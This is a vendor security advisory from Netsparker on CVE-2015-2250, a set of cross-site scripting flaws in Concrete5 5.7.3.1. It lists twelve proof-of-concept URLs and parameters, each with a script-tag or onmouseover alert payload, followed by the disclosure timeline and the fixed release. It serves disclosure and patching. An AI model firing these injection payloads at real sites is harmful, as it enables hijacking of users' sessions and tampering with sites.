Information
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Advisory by Netsparker.
Name: Multiple XSS Vulnerabilities in Concrete5
Affected Software : Concrete5
Affected Versions: 5.7.3.1 and possibly below
Vendor Homepage : https://www.concrete5.org
Vulnerability Type : Cross-site Scripting
Severity : Important
CVE-ID: CVE-2015-2250
Netsparker Advisory Reference : NS-15-008
Technical Details
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Proof of Concept URLs for XSS in Concrete5:
- URL: /concrete5.7.3.1/index.php/dashboard/system/conversations/bannedwords/success
Parameter Name: banned_word%5b%5d
Parameter Type: POST
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x000936)</scRipt>
- URL: /concrete5.7.3.1/index.php/dashboard/reports/logs/view?keywords=&level=&channel='"--></style></scRipt><scRipt>alert(0x0044C4)</scRipt>&level[]=600
Parameter Name: channel
Parameter Type: GET
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x0044C4)</scRipt>
- URL: /concrete5.7.3.1/index.php/tools/required/permissions/access_entity?peID=1&pdID=3&accessType='"--></style></scRipt><scRipt>alert(0x00690C)</scRipt>
Parameter Name: accessType
Parameter Type: GET
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x00690C)</scRipt>
- URL: /concrete5.7.3.1/index.php/dashboard/system/multilingual/setup/load_icon
Parameter Name: msCountry
Parameter Type: POST
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x00D064)</scRipt>
- URL: /concrete5.7.3.1/index.php/tools/required/permissions/access_entity?accessType='"--></style></scRipt><scRipt>alert(0x00687C)</scRipt>&pkCategoryHandle=block_type
Parameter Name: accessType
Parameter Type: GET
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x00687C)</scRipt>
- URL: /concrete5.7.3.1/index.php/ccm/system/dialogs/area/design/submit?ccm_token=1423928022:7f9b7c3cb0f6721bab4a0dec86cefaa3&cID=1&arHandle='"--></style></scRipt><scRipt>alert(0x00D33A)</scRipt>
Parameter Name: arHandle
Parameter Type: GET
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x00D33A)</scRipt>
- URL: /concrete5.7.3.1/index.php/dashboard/pages/single
Parameter Name: pageURL:
Parameter Type: POST
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x00627A)</scRipt>
- URL: /concrete5.7.3.1/index.php/ccm/system/dialogs/area/design?arHandle='"--></style></scRipt><scRipt>alert(0x001D34)</scRipt>&cID=1
Parameter Name: arHandle
Parameter Type: GET
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x001D34)</scRipt>
- URL: /concrete5.7.3.1/index.php/dashboard/system/seo/searchindex/updated
Parameter Name: SEARCH_INDEX_AREA_METHOD
Parameter Type: POST
Attack Pattern: '" onmouseover= alert(0x00047E)
- URL: /concrete5.7.3.1/index.php/dashboard/system/optimization/jobs/job_scheduled
Parameter Name: unit
Parameter Type: POST
Attack Pattern: '" onmouseover= alert(0x000C5A)
- URL: /concrete5.7.3.1/index.php/dashboard/system/registration/open/1
Parameter Name: register_notification_email
Parameter Type: POST
Attack Pattern: '" onmouseover= alert(0x0000DE)
- URL: /concrete5.7.3.1/index.php/dashboard/extend/connect/"onmouseover="alert(0x00170E)
Parameter Name: URI-BASED
Parameter Type: Full URL:
Attack Pattern: /"onmouseover="alert(0x00170E)
For more information on cross-site scripting vulnerabilities read the article Cross-site Scripting (XSS).
Advisory Timeline
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05/03/2015 - First Contact
06/05/2015 - Vulnerability fixed
11/05/2015 - Advisory released
Solution
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Download Concrete5 version 5.7.4 which includes fix for this vulnerability.
Credits & Authors
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These issues have been discovered by Omar Kurt while testing Netsparker Web Application Security Scanner.
About Netsparker
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